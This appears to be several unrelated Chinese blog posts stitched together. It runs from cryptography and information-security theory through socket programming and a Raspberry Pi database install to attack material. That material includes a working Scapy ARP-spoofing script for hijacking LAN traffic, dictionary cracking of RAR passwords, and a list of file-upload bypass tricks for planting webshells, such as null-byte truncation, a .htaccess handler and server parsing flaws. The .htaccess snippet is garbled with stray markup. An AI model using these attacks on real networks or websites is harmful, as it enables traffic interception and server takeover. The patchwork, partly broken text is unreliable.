密码学经过这么多年的发展演变,经历了以下四个阶段

  1. 古典密码学
  2. 近代密码学
  3. 现代密码学
  4. 公钥密码学

加密(Encryption)与解密(Decryption)
加密为将明文转化为密文的过程,将可懂语言转化为人类/机器,解密则为由密文恢复到明文的过程(加密的逆过程)
如图:
加密解密.png

说到加密解密那就不得不提到对称密码算法非对称密码算法

  • 对称密码算法(也称单钥或私钥密码算法),加密密钥与解密密钥相同,即明文密文可逆,常见的对称密码算法有DES,3DES,IDEA等等

对称加密.png
这就产生了一个问题,当密钥泄露的时候,加密就相当于一层纸,所有的密文都可以直接转化为明文,数据的机密性不可保持

  • 非对称密码算法,加密密钥与解密密钥不同,得到密文不可以找到明文,分为公开的密钥公钥和需要保密的密钥私钥,常见的有RSA,ECC,ELGamal
    如下图,A给B发送消息,先通过公钥加密为密文,此时只有B的私钥可以解开密文,这就很好的保持了信息安全的机密性这一特点,反过来也可以通过私钥加密公钥解密

非对称加密.png

非对称性加密有一种缺点便是速度过慢,可能比同强度的慢十倍以上
当我们要处理大量的加密数据并且要保证速度的机密性,那我们可以用混合加密的方式
混合加密.png

目录:

  • 信息与信息安全
  • 信息安全威胁
  • 信息安全发展阶段与形式
  • 信息安全保障
  • 信息系统安全保障

信息与信息安全

信息:
信息奠基人香农认为:信息是用来消除随机不确定性的东西
信息是事务运动状态或存在方式的不确定性的描述
信息是具体的,并且可以被人(生物,机器等)所感知,提取,识别,可以被传递,储存,变换,处理,显示检索和利用
信息来源于物质,,又不是物质本身;它从物质的运动中产生出来,又可以脱离源物质而寄生于媒体的物质,相对独立的存在
信息的定义:
信息是有意义的数据,它具有一定价值,是一种需要适当保护的资产。数据是反映客观事物属性的记录,是信息的具体表现形式。数据经过加工处理之后,就成为信息;而信息需要经过数字化处理转变成数据才能储存和传输
信息的功能
反映事物内部属性、状态、结构、相互联系以及与外部环境的互动关系,减少事物的不确定性。
信息的表达:
信息本身是无形的,借助于信息媒体以多种形式存在或传播。它可以存储在计算机、磁带、纸张等介质中,也可以记忆在人的大脑里,还可以通过网络等方式进行传播。
信息与消息:
信息不同于消息,消息是信息的外壳,信息则是消息的内核,也可以说:消息是信息的笼统概念,信息则是消息的精确概念。
信息与数据:
信息不同于数据,数据是信息的符号表示,或称载体;信息是数据的内涵,是数据的语义解释。数据是信息存在的一种形式,只有通过解释或处理才能成为有用的信息。数据可用不同形式表示,而信息不会随数据不同的形式而改变。
信息技术
信息技术(Information Technology,IT)是用于管理和处理信息所采用的的各种技术的总称。
主要是利用计算机科学和通信技术来设计、开发、安装和实施信息系统及应用软件。信息处理是获取信息并对它进行变换,使之成为有用信息并发布出去的过程,主要包括信息的获取、储存、加工、发布和表示等环节。目前,信息收集和处理已经成为人们社会工作的一个重要组成部分了。
信息技术包括生成和应用两个方面
信息技术生产主要体现在信息技术产业本身,包括计算机软件、计算机硬件、设备制造、微电子电路等。信息技术应用体现在信息技术的扩散上,包括信息服务、信息管理系统等。
信息技术的发展阶段
微电子、通信、计算机和网络是信息系统的核心技术,其发展进程大致可分为以下四个阶段

第一阶段:电讯(电子通讯)技术的发明
信息技术的起源可追溯到19世纪30年代,其标志性事件是电话电报的出现。
电讯技术新时代
1835年,美国人莫尔斯发明电报
1837年,莫尔斯电磁式有线电报问世
1886年,马可尼发明无线电报机
1876年,贝尔发明电话机
1906年,美国物理学家费森登成功研究出无线电广播
1912年,美国Emerson公司制造出世界上第一台收音机
1925年,约翰贝德发明世界上第一台电视机

第二阶段:计算机技术的发展
进入20世界30年代,计算机理论与技术迅速发展,信息技术进入计算机阶段
20世纪50年代末,第一代电子管计算机出现,用于军事科研信息处理
60年代中期,第二代晶体管计算机逐渐在民用企业中使用
60年代末,集成电路(Integrated Circuit,IC)和大规模集成电路计算机接踵而至,并开始在社会普及应用。

第三阶段:互联网的使用
20世纪60年代末。美国出现了第一个用于军事目的的计算机网络ARPANET。ARPANET的重要意义在于它使连接到网络上的计算机能够相互交流信息
20世纪90年代,计算机网络发展成全球性网络—因特网,网络技术和网络应用迅猛发展。此外,这一阶段电话、计算机等设备也实现了互联互通,信息和数据的传输更加容易。信息技术在这一阶段的飞速发展,深刻的影响着人民的工作和生活方式。

 

第四阶段:网络社会
20世纪末,以Internet为核心的信息技术进一步发展,人们的工作、生活和学习越来越离不开网络,国家的经济、社会治理也与网络密不可分。
高度发展的信息网络,一方面通过现实社会投射,构成了虚拟“网络社会”;另一方面通过网络信息渗透,融合了各种已经存在的社会实体网络,使“网络社会”成为整个现实社会的结构形态。
至此,信息技术步入一个崭新的阶段—网络社会阶段,在这一阶段,云计算、物联网和大数据技术进入人们的生活,信息和数据的保存、传输更加容易。
信息安全
信息安全一般指信息系统(包括硬件、软件、数据、人、物理环境及其基础设施)收到保护,不受偶然的或者恶意原因的影响而遭到破坏、更改、泄露,系统连续可靠正常的运行,信息服务不中断,最终实现业务连续性。信息安全的根本目的是使信息不受内部、外部、自然等因素的威胁。所谓信息安全就是关注信息本身的安全,而不管是否应用了计算机作为信息处理的手段。
在我国信息安全标准化委员会发布的GB/T 25069-2010《信息安全技术术语》中,信息安全是指保持、维持信息的保密性、完整性和可用性,也包括真实性、可核查性、抗抵赖性和可靠性等性质。
信息安全的目标:
保证信息上述安全属性得到保持,不被破坏,从而对组织业务运行能力提供支撑。
信息安全的任务:
保护信息资产(信息及信息系统)免受未授权的访问使用、披露、破坏、修改、查看、记录及销毁。
信息安全的属性
微信图片_20200131153436.png
从消息的层次来看,信息安全的属性有:
机密性:机密性也称为保密性,控制信息资源的开放范围,确保信息在存储、使用、传输过程中不会泄露给非授权用户、实体和进程,或被其利用。
完整性:确保信息在存储、使用、传输过程中保持未经授权不能改变的特性,即对抗主动攻击,保持数据一致,防止数据被非法用户修改和破坏。
不可否认性:又称抗抵赖性,即建立有效的责任机制,防止用户否认其发送信息的行为和信息的内容。
从网络的层次来看,信息安全的属性有:
可用性:确保授权用户、实体和进程对信息及资源的正常使用不会被不合理拒绝,允许其可靠而及时的访问信息及资源。
可控性:对信息的传播范围及内容具有控制能力,防止非法利用信息和信息系统。
信息安全的特征:
相对性:安全是相对的、动态的,没有绝对安全的系统。所以需要及时对系统安全问题进行跟踪处理,定期进行整体安全评估,及时发现问题并加以解决。
时效性:安全不能一劳永逸,需要根据安全风险,及时制定应对策略。
相关性:在更改配置等操作时,需要对系统重新进行评估和同步更新安全措施。
不确定性:攻击发起的时间、地点、攻击者和攻击目标都具有不确定性,在制定安全应对措施时,要尽可能考量所有潜在的安全威胁。
复杂性:信息安全是一项系统工程,涉及到安全管理、教育、培训、立法、国际合作等领域。
与传统安全相比,信息安全具有4个鲜明的特征:
系统性:系统地从技术、管理、工程和标准法规等各层面综合保障信息安全。
动态性:对信息安全不能抱有一劳永逸的思想,应该根据风险的变化,在信息系统的整个生命周期中采取相应的安全措施来控制风险。
无边界性:信息系统安全威胁超越了现实地域和现实行业的限制。
非传统性:与军事安全、政治安全等传统安全相比,信息安全涉及的领域和影响范围十分广泛。
信息系统安全

  • 设备安全
  • 数据安全
  • 内容安全
  • 行为安全
    信息设备的安全是信息系统安全的首要问题

数据安全

  • 秘密性
  • 完整性
  • 真实性
    内容安全是信息安全在法律,政治,道德层次上的要求
  • 政治上健康
  • 符合国家法律法规
  • 符合中华民族道德规范
    行为安全
  • 秘密性
  • 完整性
  • 可用性

信息安全威胁
我国面临的信息安全威胁

  • 国家威胁
  • 组织威胁
  • 个人威胁
    国家威胁

本工具是由AdianGg(也就是我本人)写的一个基于Python3的小工具,Kali linux自带的Arpspoof功能只能攻击一个目标,这一点就让我很不舒服,因为在学校的时候扫内网基本是要把所有的的存活主机都进行发包欺骗的,我比较菜不知道怎么选中多个目标,所以连夜写了这个脚本,只有短短六十几行,主要目的也是想锻炼一下个人能力,毕竟在Python-Socket通信简单实现中提到过了,我是一个重度工具依赖患者,所以自己实现一下功能,顺便理解一下攻击原理。
强调一下
此工具纯属练手和娱乐用
本人菜狗
界面:
微信图片_20200125115051.png
目前实现的功能

  • 输入多个IP,每个IP分配一个线程发伪造的Arp包
  • 验证输入内容是否合法(匹配正则)
    预计改进内容
  • 增加恢复功能(头疼,忘了加这个功能了)
  • 扫描所在网段的存活主机并支持导入到TargetList
  • 能对TargetList进行删除

也可以开启ip转发配合Driftnet等工具使用,都兼容

效果图
xp.png
使用方法
根据提示依次输入本机IP地址,所要进行攻击的IP地址等等内容,输入IP地址的地方有一个while循环,所以需要手动输入over来结束输入(有提示),然后就自己开始了
第一次自己写东西,很多Bug,基本没有规范的地方
希望大家能给我提很多很多的意见和建议,能让我知道更多的不足之处
话说要来联系我和我一起学习嘛?
下载地址!

https://github.com/wgpsec/ArpFlood

大部分接触Kali linux的初学者应该都体验过Arpspoof的强大,只要配合driftnet或者其他工具就可以做到几乎一键劫持
在一个强大的第三方库Scapy的支撑下,短短几行Python就可以实现这一功能

from scapy.all import *
import sys
def Usage():
    print('[Usage]----->>Arpspoof.py LhostIp TargetIp Networkcards GatewayIp')
try:
    LhostIp = sys.argv[1]#本机IP
    TargetIp = sys.argv[2]#目标IP
    Networkcards = sys.argv[3]#本机网卡
    GatewayIp = sys.argv[4]#网关
    TargetMac = getmacbyip(TargetIp) #目标Mac
    LhostMac = get_if_hwaddr(Networkcards)#本机Mac
    GatewayMac = getmacbyip(GatewayIp)
    #op为发送请求 hwsrc物理来源(攻击者Mac) psrc(网关地址) hwdst(目标Mac地址) pdst(目标ip)
    #Arp欺骗将本机Mac绑定给网关ip
    SpoofPack = Ether(dst = TargetMac,src = LhostMac) / ARP(op = 1,hwsrc = LhostMac,psrc = GatewayIp,hwdst = TargetMac,pdst = TargetIp)
    while True:
        sendp(SpoofPack,inter = 2,iface = Networkcards)
except:
    Usage()

我觉得注释已经写的很清楚了
这个脚本在开启IP转发的时候也可以配合driftnet等工具,方法和自带的arpspoof一样哦

前言:
笔者最近在学Python和Javascript,写一点自己的学习笔记。
工具的出现无疑是让我们省了不少力气,但是更多的人选择了单纯的依赖工具,对本身的原理只是略知一二或者索性根本不了解,很不幸,我就是工具的深度依赖者,学习的路上因为过分依赖工具出现的坑逐渐多了起来,所以现在只能慢慢的一点一点补基础。

正文
那么问题来了,今天的Socket通信简单实现和我前言说的一大堆有什么关系呢?这个时候就要扯出一个很常用的工具Netcat(NC),这个工具有着瑞士军刀之名,体积小巧,具体功能介绍可看Netcat小结,Netcat就实现了一个通讯的功能,笔者今天的文章简单的用Python实现一下此功能。

和NC一样,分两个端,一个Server.py为服务端,一个Client.py为客户端
下面为两个端的编写所需要的大致思路

Server端

  • 创建Socket
  • 绑定端口
  • 等待连接
  • 开始通讯
  • 关闭连接

Client端

  • 创建Socket
  • 连接目标
  • 开始通讯
  • 关闭连接

好,既然这样,那我们就开始实现吧!
首先我们先要

from socket import * #调用Socket

Wait!我都开始写文了,这么简单的脚本我当然是已经写出来了
Server.py

from socket import * #调用Socket
address = ('localhost',666)
s = socket(AF_INET,SOCK_STREAM) #服务器之间网络通信,流式socket , for TCP
s.bind(address)#前面ip为空则为本地地址
s.listen(1) #开始TCP监听,监听一个请求
print("Wait For Connect")
conn,addr = s.accept()#前面为套接字,后面为对方机器的ip地址
print("Connected By",addr)
#发送信息
while True:
    data = str(conn.recv(1024),'utf-8')#接收1024字节的字符串
    print("收到---->",data)
    data = input("发送---->")
    conn.send(data.encode())
conn.close()
s.close()

Client.py

from socket import *
address = ('localhost',666)
s = socket(AF_INET,SOCK_STREAM) #服务器之间网络通信,流式socket , for TCP
s.connect(address)
while True:
    data = input("发送---->")
    s.send(data.encode())
    recv = str(s.recv(1024),'utf-8')
    print("接收---->",recv)
s.close()

这个时候得注意一个坑,Python3默认的Str编码为unicode,如果我们直接这样传输字符串的话,接收到的内容都会是这样

b'String'

虽说字符串的的确确已经正常输出了,但是还是要注意规范,解决起来还是蛮简单的,转成Utf-8即可

Str('string','utf8')

注意:服务端与客户端不能直接发送列表,元组,字典。需要字符串化repr(data)。

Python3的字符串的编码语言用的是unicode编码,在内存中以Unicode表示,一个字符对应若干字节,如果要在网络上传输,或保存在磁盘上就需要把str变成以字节为单位的bytes

Str('string','utf8')

即可转换为utf8编码

CIA三大元素

  • 机密性(Confidentiality)指只有授权用户可以获取信息。
  • 完整性(Integrity)指信息在输入和传输的过程中,不被非法授权修改和破坏,保证数据的一致性
  • 可用性(Availability)指保证合法用户对信息和资源的使用不会被不正当地拒绝

无线网络安全问题
加密方法的问题:WEP和WPA被破解
非法接入点(Rohue AP)
APT 高级持续性威胁
通常使用交叉式网络钓鱼的攻击手法

OSI安全体系模型:
三个方面:

  1. 安全机制
  2. 安全攻击
  3. 安全服务
    主动攻击: 拒绝服务等(可以检测,难以防范)

被动攻击:消息内容泄露,流量分析攻击(难以检测,但可以防范)

两个概念:

  • 威胁
  • 攻击

X.800的定义

  • 由通信开放系统的协议层提供的,并能确保系统或数据传输足够安全的服务
  • 5类14种特定服务

RFC2828
由系统提供的对系统资源进行特定保护的处理或通信服务

概括
*安全服务实现安全策略
安全机制提供安全服务*

设计安全服务的需求

  • 算法
  • 密钥
  • 分发
  • 协议

两类安全模型

网络加密安全模型

  • 参与者
  • 信息通道
  • 安全机制

网络访问安全模型(免受非授权访问)

  • 攻击者
  • 访问信道
  • 安全机制
  • 资源系统

安全策略内容

  • 网络硬件物理安全
  • 网络连接安全
  • 操作系统安全
  • 网络服务安全
  • 数据安全
  • 安全责任管理
  • 网络用户安全责任

所有网上的教程基本都是

apt-get install mysql-server

但是实际上,一定会报错

提示没有这个包

我尝试了网上几乎所有的教程

比如更新源,比如直接下载deb包然后dpkg

第二个最坑,因为树莓派是armhf的架构,网上貌似找不到

所以

重点来了:

我们直接安装Mariadb,不要听信百度的谣言

apt-get install mariadb-server

要不是我注意到有一篇文章写了一个不支持

我还想不到这个问题,一直以为是我自己配置的问题

垃圾百度,浪费时间

1.使用工具Advanced RAR Passwword Recovery解密

通过常规的跑字典的方式进行暴力破解

成功率取决于字典的大小,可以配合社会工程学收集到的信息生成字典

2.使用工具EasyCode Pro工具进行加密解密

此工具可以加密

且是对内容进行的加密(可能会提示文件损坏)

注意:加密解密均需要用Easycode打开

绕过
1.本地验证:
(1)删除本地验证函数
(2)使用Firefox firebug审查元素更改上传限制类型

2.MIME型上传漏洞:
使用burpsuite抓包更改数据包信息(Content-Type

3.文件扩展名
php解析规则可以选择.php4 .php3等等

4.文件内容检测
上传正常图片使用burp截断之后在其中加入一句话木马并更改后缀已达到伪造内容的目的

5.空字符截断上传(00截断)
在文件目录处 加入1.php .jpg
在二进制表中空格的20改为00即可(后面的内容背截断,只有.php)

6.htaccess上传
内容为

<FilesMatch "cimer">[/font][/color][/align][align=left][color=rgb(25, 25, 25)][font=&quot]
SetHandler application/x-httpd一php
 
</FilesMatch>

使用burpsuite截断数据包
上传1.htaccess文件,使用Burp Suite将filename名称更改为filename=.htaccess。
生成一个图片包含php代码的.jpg格式图片,进行上传

解析漏洞
IIS6.0搭建平台
1.文件命名
正常命名文件 logo.jpg
触发解析漏洞命名 logo.asp;.xx.jpg(xx可有可无,任意字符)
2.文件夹命名
正常文件夹路径 ../image/qq.jpg
触发解析漏洞文件路径 ../image.asp/qq.jpg

IIS7.x uginx低版本
正常文件地址:www.xxx.com/logo.jpg
存在解析漏洞可导致此文件解析成php格式
www.xxx.com/logo.jpg/xx.php
Apache
正常文件地址:www.xxx.com/logo.jpg
存在解析漏洞可导致此文件解析上一级格式
www.xxx.com/xxx.php.xxxxxx(向上解析)
解析规则:判断文件后缀是否识别,不识别向上识别
防御
客户端检测:
使用JS对上传图片检测包括文件大小,扩展名,类型等

服务端检测:
对文件大小,文件路径,文件扩展名,文件类型,文件内容检测,对文件重命名
其他设置:对服务端上传目录设置不可用执行权限